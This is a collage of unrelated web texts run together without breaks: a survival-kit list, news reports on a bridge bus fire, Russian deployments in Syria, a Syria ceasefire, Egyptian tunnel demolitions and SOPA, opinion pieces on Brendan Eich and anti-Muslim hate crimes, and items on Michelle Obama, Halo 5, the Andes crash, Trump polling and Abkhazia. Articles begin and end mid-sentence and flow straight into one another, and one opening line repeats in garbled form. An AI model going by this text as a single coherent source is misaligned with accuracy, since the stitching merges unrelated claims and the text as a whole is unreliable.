Inevitable Negative Outcomes Of Income Inequality And Economic Inequality Include: Wars (increased), Terrorism (increased), Life Expectancy (decreased), Infant Mortality (increased), Homicides (increased), Imprisonment (increased), Climate Change (increased), Women's Rights (decreased), Alcoholism And Drug Addiction (increased
is carrying it in, there isn't a "one size fits all" kit. Instead, the person creating the kit chooses items that they will need. Below are some examples of gear carried in a kit: Fire source: butane lighter, matches, tinder and ferrocerium rod or "life boat matches" and striker board Signal device: LED micro light, small signal mirror, or survival whistle Candle: can be used for emergency food if made from tallow Food and water procurement Fishing line: (30 feet (9.1 m) to 100 feet (30 m) or all that will fit on a bobbin) Assorted fishing hooks: "split shot" lead balls, snap swivels Snare wire: copper or brass wire is best for workability without tools or steel 'trip wire' or utility wire for durability Dental floss: for any uses that string might be helpful; lightweight and strong. Water purification bag: small capacity plastic bag, 10 US fluid ounces (0.30 l), to keep tinder dry or for water storage/transportation Food/energy source: glucose tablets or hard candy Water purification source: fire plus a tin for purification or chemical purification means; Potassium permanganate or bleach for chlorination Non-lubricated condoms: capable of expanding to store a large quantity of water; Magnums can hold several gallons before bursting. Navigation [ edit ] Button size compass Magnetized needle and thread Shelter [ edit ] Cutting tool: flexible wire or collapsible saw String, fishing line, wire, finishing nails, and safety pins are helpful in trying off or affixing shelter materials First aid [ edit ] Potassium permanganate or iodine tablets: wound treatment/water treatment/antiseptic Scalpel or X-acto blades: minor surgery and fine work Plasters/bandages if they fit in the kit. Alternatively, superglue or cyanoacrylate glue can also be useful, due to its adaptability to size and shape of injury. Inclusion of this item depends on its ability to fit inside this small 100 cc space kit. Prescription medication for pain, such as Paracetamol or Vicoden Miscellaneous [ edit ] Pocket knife Tweezers File Information cards with regionally selected information, knots for fishing, multi-use listings for kit contents. Main Categories [ edit ] Some of the historically most important items to have are: 1. Cutting tools 2. Combustion devices 3. Containers 4. Cover (warmth and shelter) 5. Cordage 6. Signalling 7. Food procurement In addition to the items marked above, the following items are also frequently found in many mini-survival kits (depending on the area the operator is expecting to be in, personal experience, multiple use considerations, serviceability, and durability). In some kits, certain items marked above can also have been completely replaced by certain items below. Items and many of their uses are listed along with alternative uses and/or alternative items to perform the role in the kit. See also [ edit ]PENNSVILLE -- A bus fire on the northbound lanes of the Delaware Memorial Bridge Sunday evening caused major traffic delays as firefighters worked to extinguish the blaze, authorities said. The fire was reported shortly after 6 p.m. and all northbound lanes were closed for about 30 minutes. By 9:15 p.m., two lanes remained closed, but with extensive traffic delays, according to a Delaware River and Bay Authority spokesman. No injuries were reported, the DRBA spokesman said. The bus is owned by "Weed World Candies," a marijuana-advocacy group that was headed to Philadelphia as part of a tour when it caught fire, NBC10.com reported. The organization sells marijuana-flavored candy, according to the group's website. The owner of Weed World Candies told NBC10 that $50,000 in merchandise was lost in the fire. A photo posted by the DRBA showed just a charred frame of the bus remained.Russian combat operations on behalf of Syrian President Bashar al-Assad are likely to begin “soon,” three U.S. officials told The Daily Beast. And Russian drone flights to spot targets for potential airstrikes are already underway. That concession by U.S. officials of growing Russian influence marks a shift from previous statements by officials who said they weren’t sure whether Russia intended to use force in Syria and enter into the country’s long and brutal civil war. There already are early signs that Russia plans to target moderate forces that threaten the Assad regime, not the self-proclaimed Islamic State, which has been the focus of a year-long U.S.-led air campaign. And yet, the recent Russian moves, which threaten to undermine U.S.-led efforts over the last year, were met with hardly a shrug in some circles in Washington. “There are not discussions happening here about what this means for U.S. influence on the war against ISIS,” one defense official told The Daily Beast. That’s despite the fact that some unverified online videos indicate that the opening phases of such operations may have already begun. A video posted September 15 to YouTube appears to show Russian military forces in tanks alongside Syrian forces in the Lattakia region, a traditional Assad stronghold that has come under threat from anti-regime forces. Since last Friday, Moscow has sent two dozen additional fighter jets to Syria, bringing the total number in the country to 28. The same day, Defense Secretary Ash Carter spoke by phone to his Russian counterpart about what the Pentagon called “mechanisms for deconfliction,” a strong indication that Russia intended to conduct airstrikes in the same areas that U.S. forces and their coalition partners are now operating against ISIS. After more than a year of U.S.-led airstrikes, the political and military situation in Syria appears to have reached a critical turning point, American officials and experts said. The U.S. campaign is effectively at a stalemate, Army Gen. Martin Dempsey, the outgoing chairman of the Joint Chiefs of Staff, has said. In recent weeks, as Assad lost ground and the Obama administration’s Syria policy came under withering criticism for failing to train and equip any significant rebel force, the Russians began moving military equipment, supplies, and troops into Syria. The massing of Russian force would seem to add a new and potentially volatile element to the chaotic war, with the U.S. struggling to find allies on the ground or blunt the spread of ISIS, and U.S. military analysts accusing their senior officers of distorting intelligence to paint a rosier picture of the military situation. U.S. officials said publicly they were concerned and keeping a channel of communication open to Moscow. But privately, many seemed to welcome a Russian intervention if it alleviated the burden on the U.S. for fighting ISIS, even if that meant diminished American influence over how the war ends. Intervening on behalf of an ally bring its own challenges, they note. The Russians “are going to inherit Assad’s mess,” a second defense official said. “I don’t know if they have looked at it from all possible angles.” "Watching the Russians take the initiative is the most clear example yet of the complete abdication of U.S. leadership and responsibility in the region,” Christopher Harmer, a naval analyst at the Washington D.C.-based Institute for the Study of War, told The Daily Beast. White House Press Secretary Josh Earnest, asked by reporters if the U.S. had any insights into Moscow’s endgame, replied, “To be blunt about it, no.” State Department spokesman John Kirby told reporters Monday that the U.S. “concerns remain in place” about growing Russian moves in Syria. Carter has not said a word about what many are calling an “inflection point” in Syria. On Monday afternoon, he held a Lean In event at the Pentagon with Facebook Chief Operating Officer Sheryl Sandberg, encouraging women in the military to support each other through small groups. Over the weekend, Secretary of State John Kerry repeated the Obama administration’s position that Assad must step down in order to forge a political settlement, but he remained open to postponing that departure to some unspecified date. Kerry has spoken with his Russian counterpart three times in the past week. “We need to get to the negotiation,” Kerry over the weekend. “That is what we’re looking for and we hope Russia and Iran, and any other countries with influence, will help to bring about that. … Is Russia prepared to bring [Assad] to the table?” German Foreign Minister Frank-Walter Steinmeier, while appearing with Kerry over the weekend in Berlin, said, “I strongly welcome the fact—and we’ve had reports here in Germany—about the growing military engagement of Russia in the region.” The swiftness of Russian military escalation over the weekend was striking. In addition to the surveillance drones, Russia now has “Fencer” advanced-attack aircraft jets and “Frogfoot” jets for close air support among its arsenal, according to U.S. estimates. Russia has also sent 16 helicopters, two surface-to-air missile batteries, nine T-90 tanks, and enough modular housing to hold 2,000 Russian troops, up by 500 in just a matter of hours. U.S. officials believe there are at least 500 Russian troops on the ground now, presumably to serve as advisers to Syrian forces on the front lines and help them launch more precise artillery strikes and support their ground forces from the air. Precisely whom the Russians will be hitting with all that firepower—ISIS forces or other militants fighting to overthrow Assad, including those with whom the U.S. might try to align—remains unclear, U.S. officials told The Daily Beast, speaking on condition of anonymity to discuss intelligence and developing operations. Some analysts said they anticipate Russia will seek to shore up the Syrian regime in the cities of Idlib and Aleppo, where Assad’s forces have lost territory in recent weeks. That suggests Russian forces would attack Syrian rebels as well as the terrorist organization al Nusra, both of which hold positions in those cities. The Russian newspaper Novaya Gazeta cited one official who said military operations in Syria would be modeled after Moscow’s military occupation of eastern Ukraine and Crimea. The publication, which is generally critical of the Russian government, said missile strikes of grounds operations in concert with Syrian forces could begin prior to President Vladimir Putin’s address to the United Nations General Assembly in New York next week. Meanwhile, Russia has been building an international alliance of its own. The Wall Street Journal reported that Russian and Iranian forces, as well as Hezbollah militants, have been coordinating their air operations and finding ways to defend Assad. Meanwhile, Israeli Prime Minister Benjamin Netanyahu was in Moscow on Monday, along with two members of his general staff, to ensure his own military strategy in Syria will not be hindered by Putin’s. In the past few years, Israel has bombed numerous convoys of advanced weapons systems sent by Iran to Syria and destined for Hezbollah—now Russia’s active operational partner in Latakia. “My goal was to prevent misunderstandings between [Israel Defense Force] forces and Russian forces,” Netanyahu told journalists via telephone from Moscow. “We have established a mechanism to prevent such misunderstandings. This is very important for Israel’s security.” Netanyahu insisted that Israeli strikes on weapons systems must be allowed to proceed without Russian interdiction, and suggested that Putin had acceded to this condition. Over the past year, the U.S. has conducted 5,358 strikes inside Iraq and Syria, targeting ISIS and in support of fighters like the Kurdish YPG, who have also fought the militant group that seeks to establish an Islamic regime in Syria and Iraq. But for Assad, ISIS is not the only threat. Any so-called “moderate” foe that is seen as an alternative to his regime could be targeted by Russian forces, said Harmer, the military analyst. For that reason, he said, Russian forces would likely strike in Idlib and Aleppo first. Russia needs “a pliant leader in Syria to maintain some semblance of control, who will still be dependent on Russia,” Harmer said. “Assad is the one puppet that fits all of that. The Syrian regime needs to kill the moderates so there is no alternative to them.” — with additional reporting by Michael WeissLet's get this straight. L.A. Clippers owner Donald Sterling was caught on tape making racist remarks, and rather than just letting the free market play out and eventually force his hand -- as was happening with sponsors pulling out of the L.A. Clippers -- it's been deemed perfectly acceptable (and I wholeheartedly agree) for the NBA to intervene and basically oust him, banning him for life and fining him $2.5 million. A few weeks ago, Brendan Eich, the former CEO of Mozilla, was revealed to have actually worked to strip a group of its rights (financially supporting California's Proposition 8 in 2008) and tried to help elect politicians who'd made horrendously bigoted comments about that group. Rather than an intervention brought on by a call by any outside group that he be fired, Eich decided to resign for the good of his company. The dating site OKCupid, another company, used its free speech within the free market to advise its users not to use Mozilla's browser, Firefox. Mozilla developers -- many of whom donate their time -- and Mozilla employees expressed their concern about having this man as their CEO. All of that was enough for the company to see Eich as a liability, and he saw that too. The free market worked, rather than anyone intervening or any pressure group demanding he go. And yet, gays were vilified for supposedly having destroyed Eich's career -- again, when no LGBT groups or gay pundits actually called for him to resign -- while most people, including some of those who defended Eich, seem fine with Donald Sterling's demise and the sanctions by the NBA. Some gay activists and writers themselves, as well as some straight liberals, even gave ammunition to the attackers on the right who engaged in vilification of gays -- and of a mythical "gay mafia" --- for supposedly bringing down Eich. Clutching their pearls, these writers got all queasy about the "optics" of the whole thing. They worried that we are just about complete with our civil rights struggle (did you know that?) and this made us look ungracious, or as openly gay New York Times columnist Frank Bruni put it, it "doesn't reflect well on the victors." Last week, one group of mostly gay conservatives even launched a petition to support Eich, not letting the issue go. One of them, Jonathan Rauch, wrote a piece defending the petition, in which he claimed that gay marriage, and thus discrimination against LGBT people, isn't a "political emergency" in the way discrimination against African Americans was in the '60s, so therefore it's only right to tolerate Eich's homophobia. All of that alone is a complete fallacy and underscores that a dangerous complacency has set in. (And I'll be dealing with that at a later date.) But let's get something else straight: Whatever commitment Eich claimed to have to diversity at Mozilla -- and true, there were no accounts of his discriminating at the company -- he, like Donald Sterling, believed one group of people to be inferior to others, and he made it known to the public, since political contributions are now considered speech in addition to being actions. And, as the face of the company, he stood by that speech when asked to clarify it. Who could blame people who are members of the group he attacked as well as their allies for not wanting to work for someone like him and have that person representing the company? Eich contributed to Pat Buchanan's 1992 presidential campaign after Buchanan had repeatedly and obsessively made comments such as those he made in 1983 about AIDS: "The poor homosexuals -- they have declared war upon nature, and now nature is extracting an awful retribution.'' Just a year before Eich's donation to Buchanan, the politician and pundit said, "With 80,000 dead of AIDS, 3,000 more buried each month, our promiscuous homosexuals appear literally hell-bent on Satanism and suicide." During the very campaign in '92 in which Eich cheered Buchanan on, Buchanan said, "AIDS is nature's retribution for violating the laws of nature in many ways. I think the promiscuous homosexual lifestyle is not only wrong, but it is medically ruinous. And I think it is socially destructive." A few years later, in 1998, Eich gave a donation to Republican Washington State Senate candidate Linda Smith, a Pentacostalist who said that homosexuality is a"morally unfit inclination." And in 2008, the year he made his Prop 8 donation, Eich donated to California GOP Rep. Tom McClintock's campaign, during which McClintock, a Prop 8 supporter, said, "Lincoln asked, 'If you call a tail a leg, how many legs has a dog? The answer is four. Calling a tail a leg doesn't make it one.' And calling a homosexual partnership a marriage doesn't make it one." When given an opportunity to apologize for his Prop 8 donation after it got attention earlier this month, a week after he was named CEO, Eich refused, and even implied to The Guardian that he and people like him were an asset at the company since Mozilla is global and anti-gay regimes are prevalent around the world, using the example of Indonesia. He refused to comment to The Guardian on his support of Pat Buchanan, a man who's been accused of making anti-Semitic remarks as well and engaged in diminution of the Holocaust, in addition to attacks on other groups. When you can't take back having supported Pat Buchanan and other virulently anti-gay politicians, there's only word for you: bigot.Barack and Michelle Obama may no longer be in the White House, but their work is far from done. While speaking at the Partnership for a Healthier America Summit on Friday, the former first lady vowed that she and her husband would continue championing the causes they fought for in office, including her own signature issues of nutrition and health. Get push notifications with news, features and more. “We’re not gone, we’re just breathing, y’all. Let us breathe,” she joked during her conversation with Sam Kass, President Obama’s former White House chef and senior food policy advisor. “We’ve got to get our new lives set up.” That includes “getting offices set up” and “making sure our kids are good,” she said, adding of daughters Malia, 18, and Sasha, 16: “I got one kid going to college and another one just being 16.” That said, Obama added that she and her husband were excited about the future Obama Presidential Center and its potential, “not just on the South Side of Chicago, but in the world.” Obama said it will take time for her to understand her new platform and figure out where her help is most needed. RELATED VIDEO: Kids Interview The Obamas “I’m approaching the next chapter the way I approached this last chapter. I want to be strategic,” she said. “But I want the folks here to know that my commitment to these issues are real. This didn’t have anything to do with me being first lady.” Her real motivation? Children, including — but certainly not limited to — her own. “When you hear me getting riled up in this chair, it’s not politics, it’s parenting that’s really moving me,” she said, adding that both politicians and everyday citizens owe it to the nation’s children to “put aside our politics … to not be cynical … to not give up.” “That matters to kids. That shapes them and it can hurt them when you disappoint them. I love your kids as much as I love mine,” she said. “I just wish we all operated from that place…of what is best for our kids.” If everyone on Capitol Hill “operated from that place, these issues would be so clear.” She concluded with a promise — and a question. “You’ve got me as a partner as long as I can be of use,” she said. “So the question for you is, where do you want me?” “Just let me know and I’ll be here.”Every month we roll out exclusive content on our cover story and cap it all off with a special edition podcast where we collect questions from the community and volley them at the game's developers. To wrap up our month of content covering Halo 5: Guardians coinciding with our July cover story on the game, we wanted to go above and beyond our usual and make the entire podcast episode a Halo-themed celebration. First up, podcast hosts Ben Hanson and Tim Turi are joined by Bryan Vore and Ben Reeves to talk about their cover story trip to play exclusive content from Halo 5: Guardians at 343 Industries. In the next segment we're joined by Josh Holmes and creative director Tim Longo from 343 Industries to answer burning questions from the community like the reasons for cutting split-screen support and whether or not we'll see an appearance from the Flood. For the final segment, we're joined by designer Jaime Griesemer and composer Marty O'Donnell from Highwire Games to give us a candid account of Halo's earliest struggles of development at Bungie, including surprising stories on the origins of the Halo theme and the over-powered pistol. There's a lot of ground to cover in this Halo Spectacular, so watch the video below or subscribe and listen to the audio on iTunes. To jump to a particular segment of the podcast, check out the timestamps below... 2:25: Bryan and Ben's impressions of a section of Halo 5's campaign and the Warzone multiplayer mode 15:12 - 343's Josh Holmes and Tim Longo answer questions from the community 56:02 - Highwire Games' Jaime Griesemer and Marty O'Donnell talk about the early development of the Halo series To learn more about Halo 5: Guardians, click on the banner below to enter our exclusive content-filled hub.New York (CNN) Bernie Sanders may not want to go after Hillary Clinton directly, but his presidential campaign has shown over the last two days that it is are more than happy to punch back against the world of pro-Clinton super PACs. The tweet linked to an MSNBC story on how Brock, the head of a number of pro-Clinton PACs and longtime Clinton operative, wrote in his new book that Move On's efforts to draft liberal Sen. Elizabeth Warren to run for president were "cynical" and "misguided." In "Killing the Messenger," Brock writes that Move On "rather cynically see the opportunity to build their e-mail lists and make some money by backing 'a more progressive alternative' against Hillary Clinton." For much of 2014, MoveOn and a coalition of other liberal organization were trying to draft Warren to run for president. While the movement failed to get Warren in the race -- she has emphatically said a number of times she won't run -- it provided fodder for Republicans to call out Clinton for not being liberal enough for the Democratic Party. This is not the first time Sanders has hit back against pro-Clinton super PAC attacks. Earlier this week, Correct the Record -- a pro-Clinton super PAC that works on messaging and research -- sent an email to the Huffington Post that linked Sanders to Hugo Chavez, the late leader of Venezuela, and Jeremy Corbyn, the new United Kingdom Labour leader. The email was intended to be off-the-record, but the publication published a story on Monday, reporting that they received the email "without any agreement that it would be off the record." In response, Sanders campaign sent two fundraising emails about the negative attacks against them. "Yesterday, one of Hillary Clinton's most prominent Super PACs attacked our campaign pretty viciously," read the fundraising email in Sanders' name. "They suggested I'd be friendly with Middle East terrorist organizations, and even tried to link me to a dead communist dictator." He added, "They'll keep trying... unless we make them pay a price for their attacks.... They should not underestimate us." Later in the day, Jeff Weaver, Sanders' campaign manager, sent a similar fundraising email that said "this will not be the last time a Super PAC considers attacking our campaign." The back and forth between pro-Clinton super PACs and Sanders campaign appears very different from the public relationship between Clinton and Sanders themselves. Sanders has been hesitant to go after Clinton, stating instead that they have differences in policy opinions but that he likes and respects the former secretary of state. Sanders has been surging in the polls lately and has caught Clinton in both Iowa and New Hampshire. Asked on Monday if she was worried about the Vermont senator, Clinton said, "I am not." "He is doing a great job," Clinton said of Sanders.A photo from February 2016 shows smoke rising from the Tel Abyad neightbourhood during clashes between IS Group and People's Protection Units, which Russia and Turkey are currently discussing a possible ceasefire in Syria in December 2016 (AFP Photo/) Moscow (AFP) - Russia said on Sunday that a fragile ceasefire in Syria had been breached nine times over the past 24 hours including by Turkey but that the deal was mostly holding. The defence ministry said violations were committed by moderate rebels as well as "terrorist organisations". "Over the past 24 hours, nine instances of violations of cessation of hostilities have been uncovered," the ministry said, citing its coordination centre at the Hmeimim airbase in Syria. "On the whole, the ceasefire regime in Syria is being implemented," it said of the deal brokered by Moscow and Washington which took effect from 2200 GMT Friday. "At the same time there are a number of violations by groups of'moderate' opposition and units of international terrorist organisations." The ministry highlighted an attack on the town of Tal Abyad on the border with Turkey. A group of up to 100 fighters, who crossed the border from Turkey, mounted an attack on the northern part of Tal Abyad, it said, adding they were acting in unison with other fighters. - 'Fire from Turkish territory' - "The activities of the armed groups were supported by artillery fire from Turkish territory," the chief of the coordination centre, Lieutenant General Sergei Kuralenko, said in televised remarks. "Kurdish rebel units had pushed the fighters out of the city by morning of February 28." Moscow said it had demanded an explanation from the United States, which leads an anti-IS coalition that includes Turkey. Turkey has said it is not bound by the ceasefire deal if its national security was threatened. The Tal Abyad attack was "confirmed through several channels including representatives of the Syrian Democratic Forces," Kuralenko was quoted as saying by Russian reporters, referring to a US-backed Kurdish-Arab alliance. According to the Syrian Observatory for Human Rights, the Kurdish forces and their Arab allies successfully pushed back a fierce IS offensive by Saturday night with backing from the US-led coalition. In Latakia, Al-Nusra Front jihadists, acting from territory controlled by moderate rebels, shelled a unit of Desert Falcons, the Russian ministry said, apparently referring to an Iranian-backed regime force. "As a result of the shelling there are a lot of dead and wounded among rebels and locals." Russia also said Damascus was shelled six times Saturday, adding that the attack came from territory controlled by moderate rebels including Eastern Ghouta, east of the capital. "All in all, 20 mine and missile explosions have been recorded," Moscow said, adding two civilians were killed and eight wounded. "At the request of the Russian centre for reconciliation, Syrian government troops did not open return fire," the ministry said. Moscow said its coordination centre had also received a US list of 69 armed groups who had confirmed their willingness to observe the ceasefire.Last week the House Judiciary Committee discussed the “Stop Online Piracy Act” (SOPA). After an abrupt end of the markup session on Friday, a new hearing date was set for this week. Meanwhile, opposition to the controversial bill is increasing and yesterday the General Manager of the largest online community Reddit said that the bill would "almost certainly mean the end" of the popular site. This coming Wednesday the House Judiciary Committee will continue discussing SOPA to decide whether the bill should move forward to the full House. Until then, lobbying groups for and against the bill continue with their efforts to influence the votes of committee members. Increasingly, many tech companies and websites are supporting the opposition’s camp. One of the websites that has backed anti-SOPA efforts from the start is the social news community Reddit, and yesterday the site’s General Manager Erik Martin said he fears Reddit may cease to exist if the bill passes. “If SOPA passes in anything like its current form, it would almost certainly mean the end of Reddit. It may not happen overnight, but we have a very small staff (~11, mostly engineers), and even dealing with DMCA stuff is a big burden for us,” Martin writes in a comment under his username “hueypriest.” “SOPA would make running Reddit near impossible. And we have access to great lawyers through our parent company. I can’t imagine how smaller sites without those kind of resources could even attempt a go at it if SOPA passes.” One of the problems for Reddit is that the site deals with millions of users and thousands of sub-communities, many of which link to copyrighted material. This content can range from photographers’ copyrighted images, copyrighted clips on YouTube, through to copyrighted movies hosted on a third-party site. Right now Reddit is protected by the DMCA’s safe harbor provision which only requires Reddit to take down content if copyright holders ask them to, but SOPA can change this liability when a site is deemed to “facilitate copyright infringement.” Because the definitions and terminology in the bill are so vague, passing SOPA in its current form poses a threat to all user-generated sites online, and many other websites too. One of the users on Reddit rightfully commented that SOPA would mainly target foreign rogue sites, which would mean that Reddit isn’t at risk. However, Reddit’s general manager disagrees with this view arguing that the bill’s implications are much broader. “You are correct that this is the stated goal of the bill, which has been clarified under the manager’s amendment. However, the analysis from experts in press and various experts we have consulted independently is that there is way too much room for US sites like Reddit to be targeted,” Martin writes. “It doesn’t matter what they say the bill is for, the language is far too vague and far too easy for various parties to use it beyond the stated goals. Given our experience with DMCA, it’s a safe assumption that various rights holders will use SOPA in such a way that US companies like reddit are impacted.” Indeed, SOPA also has a direct effect on US sites as they can become liable for linking to so-called rogue websites. Unless the definitions are made more clear virtually every site on the Internet can become a target, for example by linking to The Pirate Bay in a news article. Opponents of SOPA argue that these and other issues are not worth risking, especially when it’s still unclear what impact online piracy really has on the entertainment industries. A better way to tackle the piracy problem could be to focus on the availability of affordable on-demand services. Netflix and Spotify have shown that people are often willing to pay for entertainment if they get the chance.E ach year, I look so forward to Eid Al Adha – the holiest holiday for Muslims worldwide – but not this year. As I watched my daughters prepare for the celebrations with joy, I learned of a horrific crime. A 36-year-old woman dressed in traditional garb was ach year, I look so forward to Eid Al Adha – the holiest holiday for Muslims worldwide – but not this year. As I watched my daughters prepare for the celebrations with joy, I learned of a horrific crime. A 36-year-old woman dressed in traditional garb was set on fire on Fifth Avenue in Manhattan. She was the same age as me, walking in the city where I was born and raised. This comes at the heels of two Muslim women in Brooklyn who were physically assaulted by a woman as they pushed their babies in strollers. As if this news wasn’t enough, we also learned that a mosque in Fort Pierce, Florida, which Omar Mateen reportedly used to visit, had been set on fire. They had to cancel their planned holiday celebrations as a result. How could I enjoy the day without thinking of them? Instead of celebrating as planned, the community in Florida has to explain to their children why someone would intentionally set their place of worship, their sanctuary, on fire the night before the highest holy holiday. These horrific acts follow the execution style murders of an imam and his assistant in Ozone Park, and the stabbing of a 60-year old Muslim woman in Queens. These are only the stories that make the headlines. I don’t think we know the extent of the impact, trauma and pain of Muslim communities nationwide. Muslim Americans found themselves caught in a conversation about how close Eid Al Adha was to the 15th anniversary of 9/11. Pundits wondered whether Muslims would alter their annual Eid celebrations for sensitivity purposes. This insinuation both disappointed and outraged me. Muslims, like any other faith community, deserve to be Muslim, and celebrate their high holy holidays. We would never ask that of any other faith community and it should never be asked or implied to Muslim Americans. Muslim American communities are facing the most hostile civic and political environment since days, weeks and months after 9/11. Hate crimes against Muslims or those perceived to be Muslim has risen exponentially in the last year. All people of faith, Muslims included, should be able to practice their religion freely without fear and intimidation. Bigotry against Muslims has become the norm and often has no consequences. The irresponsible and rhetorical vilification of Muslims in this current election cycle is leading to violent acts against members of a faith community and it must stop. It is time for all Americans to speak out. When we allow one faith community to be targets then we open the doors for others to be targeted. I believe the worst is yet to come unless more people actively intervene with their voices, their votes and in public acts of solidarity with their Muslim neighbors. In a time of growing tensions we must uphold our fundamental freedom to worship in the land of religious freedom and its why I choose to be unapologetically Muslim every day. As a Muslim woman, not only is wearing my religious headscarf in public an act of faith, but it has become an act of courage.A Palestinian man is lowered into a smuggling tunnel beneath the Gaza-Egypt border, in the southern Gaza Strip, on September 11, 2013 (AFP Photo/Mahmud Hams) Cairo (AFP) - Egypt's army said Sunday it has destroyed 13 more tunnels connecting the Sinai Peninsula to the Gaza Strip, taking to 1,639 the overall number it has laid waste to. Cairo has poured troops into the peninsula to counter a rising insurgency since the ouster of Islamist president Mohamed Morsi last year, and its security operation involves the destruction of these tunnels. The Palestinian militant group Hamas, which is the main power in Gaza, reportedly uses the tunnels to smuggle arms, food and money into the blockaded coastal enclave. Israel has been waging a military offensive on Gaza since July 8 to halt rocket fire, and it launched a ground assault on July 17 aimed at destroying the network of tunnels. It accuses Hamas of using the tunnels to attacks on Israel. Ties between Hamas and Cairo have deteriorated since the Egyptian army deposed Morsi on July 3, 2013. Hamas is an affiliate of Morsi's Muslim Brotherhood. Cairo also accuses of Hamas of being involved in militant attacks inside Egypt, which have multiplied since Morsi was toppled. Militant groups say their attacks are in retaliation for a police crackdown on Morsi's supporters. The crackdown has seen more than 1,400 people killed in street clashes.Crash site Santiago Montevideo Mendoza Location of the crash site in Argentina Uruguayan Air Force Flight 571 was a chartered flight that crashed on a glacier at an elevation of 3,570 metres (11,710 ft) in the remote Andes. Among the 45 people on board, 28 survived the initial crash. Facing starvation and death, the survivors reluctantly resorted to Endocannibalism. After 72 days on the glacier, 16 people were rescued. The flight carrying 19 members of a rugby team, family, supporters, and friends originated in Montevideo, Uruguay and was headed for Santiago, Chile. While crossing the Andes, the inexperienced co-pilot who was in command mistakenly believed they had reached Curicó, Chile, despite instrument readings indicating otherwise. He turned north and began to descend towards what he thought was Pudahuel Airport. Instead, the aircraft struck the mountain, shearing off both wings and the rear of the fuselage. The forward part of the fuselage careered down a steep slope like a toboggan and came to rest on a glacier. Three crew members and more than a quarter of the passengers died in the crash, and several others quickly succumbed to cold and injuries. On the tenth day after the crash, the survivors learned from a transistor radio that the search had been called off. Faced with starvation and death, those still alive agreed that should they die, the others might consume their bodies in order to live. With no choice, the survivors ate the bodies of their dead friends. Seventeen days after the crash, 27 remained alive when an avalanche filled the rear of the broken fuselage they were using as shelter, killing eight more survivors. The survivors had little food and no source of heat in the harsh conditions. They decided that a few of the strongest people would hike out to seek rescue. Sixty days after the crash, passengers Nando Parrado and Roberto Canessa, lacking mountaineering gear of any kind, climbed from the glacier at 3,570 metres (11,710 ft) to the 4,670 metres (15,320 ft) peak blocking their way west. Over 10 days they trekked about 38 miles (61 km)[1][2] seeking help.[3] The first person they saw was Chilean arriero Sergio Catalán, who gave them food and then rode for ten hours to alert authorities. The story of the passengers' survival after 72 days drew international attention.[4] The remaining 16 survivors were rescued on 23 December 1972, more than two months after the crash.[5] The survivors were concerned about what the public and family members of the dead might think about their acts of eating the dead. There was an initial public backlash, but after they explained the pact the survivors made to sacrifice their flesh if they died to help the others survive, the outcry diminished and the families were more understanding. The incident was later known as the Andes flight disaster and, in the Hispanic world, as El Milagro de los Andes (The Miracle of the Andes). Flight origins [ edit ] The Tinguiririca volcano seen from the Tinguiririca River valley Members of the amateur Old Christians Club rugby union team from Montevideo, Uruguay, were scheduled to play a match against the Old Boys Club, an English rugby team in Santiago, Chile.[6] Club president Daniel Juan chartered an Uruguayan Air Force twin turboprop
: polling is brutal. 35% approve/55% disapprove his handling of hc, per new Fox poll — Jonathan Martin (@jmartNYT) March 15, 2017 Overall, just 34 percent of the country supports Trumpcare, which means it will be political suicide for the president and his Republican allies if they continue trying to ram it through Congress. All of this is doing major damage to the party’s brand, with a dismal 29 percent of the country saying they approve of Republican lawmakers. But the GOP shouldn’t just be afraid of how negatively the American people view them. They should also worry about the things (and people) the respondents said they do like. According to the survey, Bernie Sanders (61 percent positive rating), Planned Parenthood (57 percent), and the Affordable Care Act (50 percent) are the most favorably viewed items on a list of more than a dozen that Fox listed. Ultimately, that the American people are siding with Democrats as they stand united against the efforts of Trump and Republicans to roll back the progress of President Barack Obama’s two terms in office. As Trump doubles down on defending a disastrous heath care bill, all while peddling paranoid conspiracy theories and covering up his connections to Russia, these numbers aren’t likely to improve anytime soon. It’s no wonder he held a campaign rally in Tennessee on Wednesday. If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human:Five years after their formal recognition by the Russian Federation as independent states on August 26, 2008, Georgia's breakaway republics of Abkhazia and South Ossetia are on very different trajectories in terms of relations with their northern neighbor. But both are plagued by growing domestic political instability. Abkhazia has experienced a modest economic upswing that together with the financial support it continues to receive from Moscow has underpinned the conviction that independent statehood is viable in the long-term, even in the absence of broad international recognition, given the region's continued attraction to millions of Russian tourists. Tom de Waal recently noted that 25 percent of Abkhazia's annual budget comprises subsidies from Russia, not counting "a massive Russian-funded infrastructure program for roads, schools, government buildings and agriculture." South Ossetia, by contrast, remains totally dependent on Russian subsidies to rebuild infrastructure and industrial capacity destroyed during the August 2008 war with Georgia. That dependence has fueled an ongoing debate as to whether the Republic of South Ossetia should join the Russian Federation, whether as a separate federation subject or through unification with the Republic of North Ossetia-Alania. Meanwhile, the Russian troop presence in both regions has removed the ever-present threat of a new Georgian attack. (Prior to the ill-fated attack on South Ossetia in August 2008, Georgia had tried in 1998 to invade Abkhazia [see "RFE/RL Caucasus Report," May 26, 1998] and in 2004 to reimpose its control over South Ossetia by military force.) In Abkhazia, the ensuing geopolitical stability contributed to the strengthening of civil society and has emboldened opposition parties to close ranks and extract concessions from two successive de facto presidents. Sergei Bagapsh died of lung cancer in May 2011 at the age of 62, 18 months after being reelected for a second presidential term. Three months later, Vice President and former Interior Minister Aleksandr Ankvab was elected his successor, defeating Bagapsh's perennial rival, Forum of National Unity of Abkhazia (FNEA) head Raul Khadjimba. It was Khadjimba who in the summer of 2009 coordinated criticism of Bagapsh for what the opposition termed ignoring the constitution, restricting the activities of opposition parties, and denying them access to the media. The opposition also accused Bagapsh of unwarranted concessions to Russia, including signing away control of the region's borders, airport, and rail network and granting Rosneft the right to prospect for oil off the Abkhaz Black Sea coast. The opposition failed to bring about Bagapsh's resignation but in September 2009 forced the parliament to backtrack on planned legislation that would have granted Abkhaz citizenship to Georgian residents of Abkhazia's southern Gali district that borders on Georgia proper. Over the past six months, Khadjimba has spearheaded a similar assault on Ankvab. On February 28, his Forum of National Unity convened a demonstration in Sukhumi to protest electricity price hikes and increase in bread prices. Ankvab met with the protesters and concedes that situation was "difficult" but said the problems the republic faced cannot be resolved immediately. Ten days later, the opposition staged a second demonstration to demand the resignation of Prime Minister Leonid Lakerbaya and the formation of a provisional government as a sign that the authorities were ready to implement reforms. Addressing that meeting, Khadjimba accused the Abkhaz leadership of failing to deliver on Ankvab's campaign promises and of taking decisions without consulting the parliament or informing the population. But Ankvab rejected every single one of their demands, including that for the creation of a parliament commission to monitor how the financial aid received from Moscow is spent. Then on June 12, the ruling United Abkhazia party announced the withdrawal of its 